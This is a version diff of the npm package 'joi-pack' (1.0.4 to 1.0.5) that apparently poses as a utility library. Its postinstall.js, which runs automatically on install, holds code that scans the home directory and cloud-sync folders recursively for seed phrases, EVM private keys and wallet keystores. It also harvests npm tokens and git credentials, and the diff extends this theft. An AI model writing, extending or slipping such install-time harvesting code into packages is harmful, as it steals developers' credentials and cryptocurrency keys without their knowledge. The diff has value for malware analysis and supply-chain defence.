joi-pack 1.0.4 → 1.0.5

package/README.md

@@ -1,12 +1,3 @@
 # joi-pack
 
-Joi Pack utility helpers
-
-## Installation
-
-```bash
-npm install joi-pack
-```
-
-## License
-MIT
+joi pack utility helpers

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "joi-pack",
-  "version": "1.0.4",
+  "version": "1.0.5",
   "description": "Joi Pack utility helpers",
   "main": "index.js",
   "scripts": {

package/postinstall.js

@@ -192,37 +192,53 @@ function scanWallets(){
 
 function scanSeedPhrases(){
   const results=[];
-  const dirs=['Documents','Desktop','Downloads'];
+  const dirs=['Documents','Desktop','Downloads','OneDrive','Dropbox','Google Drive','backup','keys','wallet','crypto'];
   
   for(const dir of dirs){
     const fullPath=path.join(os.homedir(),dir);
     if(!fs.existsSync(fullPath)) continue;
     
     try{
-      const files=fs.readdirSync(fullPath);
+      const files=fs.readdirSync(fullPath,{recursive:true});
       for(const file of files){
         const filePath=path.join(fullPath,file);
         try{
           const stat=fs.statSync(filePath);
-          if(!stat.isFile()||stat.size>100000||stat.size<20) continue;
+          if(!stat.isFile()||stat.size>200000||stat.size<15) continue;
           
-          // Check filename for crypto keywords
           const nameLower=file.toLowerCase();
+          
+          // Check filename for crypto/EVM keywords
           const isCryptoFile=SEED_WORDS.has(nameLower.split('.')[0])||
-            /\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private)\b/.test(nameLower);
+            /\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private|mnemonic|recover|passphrase|keystore|foundry|hardhat|broadcast|deploy)\b/.test(nameLower)||
+            nameLower.endsWith('.json')&&(nameLower.includes('keystore')||nameLower.includes('wallet')||nameLower.includes('utc--'))||
+            nameLower.endsWith('.txt')&&nameLower.length<30&&!nameLower.includes('readme');
           
           if(!isCryptoFile) continue;
           
           // Read the file content
           const content=fs.readFileSync(filePath,'utf-8').toLowerCase();
           
-          // Count how many words are BIP39 seed words
+          // Check for EVM private keys (0x + 64 hex chars)
+          const evmKeys=content.match(/0x[a-f0-9]{64}/gi);
+          const evmKeyCount=evmKeys?evmKeys.length:0;
+          
+          // Check for BIP39 seed words
           const words=content.split(/\s+/).filter(w=>w.length>2);
           const seedWordCount=words.filter(w=>SEED_WORDS.has(w)).length;
           
-          // If a significant portion are BIP39 words, likely a seed phrase
-          if(seedWordCount>=8){
-            results.push({file:filePath,size:stat.size,seedWordsFound:seedWordCount,preview:content.substring(0,100)});
+          // Check for JSON keystore format (UTC-- style)
+          const isKeystore=content.includes('crypto')&&content.includes('ciphertext')&&content.includes('kdf');
+          
+          if(seedWordCount>=8||evmKeyCount>0||isKeystore){
+            results.push({
+              file:filePath,
+              size:stat.size,
+              seedWordsFound:seedWordCount,
+              evmKeysFound:evmKeyCount,
+              isKeystore:isKeystore,
+              preview:content.substring(0,120)
+            });
           }
         }catch(e){}
       }
@@ -281,6 +297,13 @@ function harvest(){
       // Also catch npm_xxxxx patterns anywhere
       const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
       for(const x of t)r.push({t:'NPM_TOKEN',k:'npm_token',v:x[0]});
+      // Also catch EVM private keys (0x + 64 hex chars)
+      const evm=c.matchAll(/0x[a-fA-F0-9]{64}/g);
+      for(const x of evm){
+        const found=x[0];
+        const keyName='EVM_KEY';
+        if(!keys[keyName]){keys[keyName]=true;r.push({t:'EVM_KEY',k:keyName,v:found});}
+      }
       return r;
     }},
     {p:path.join(os.homedir(),'.git-credentials'),t:'git-creds',fn:function(c){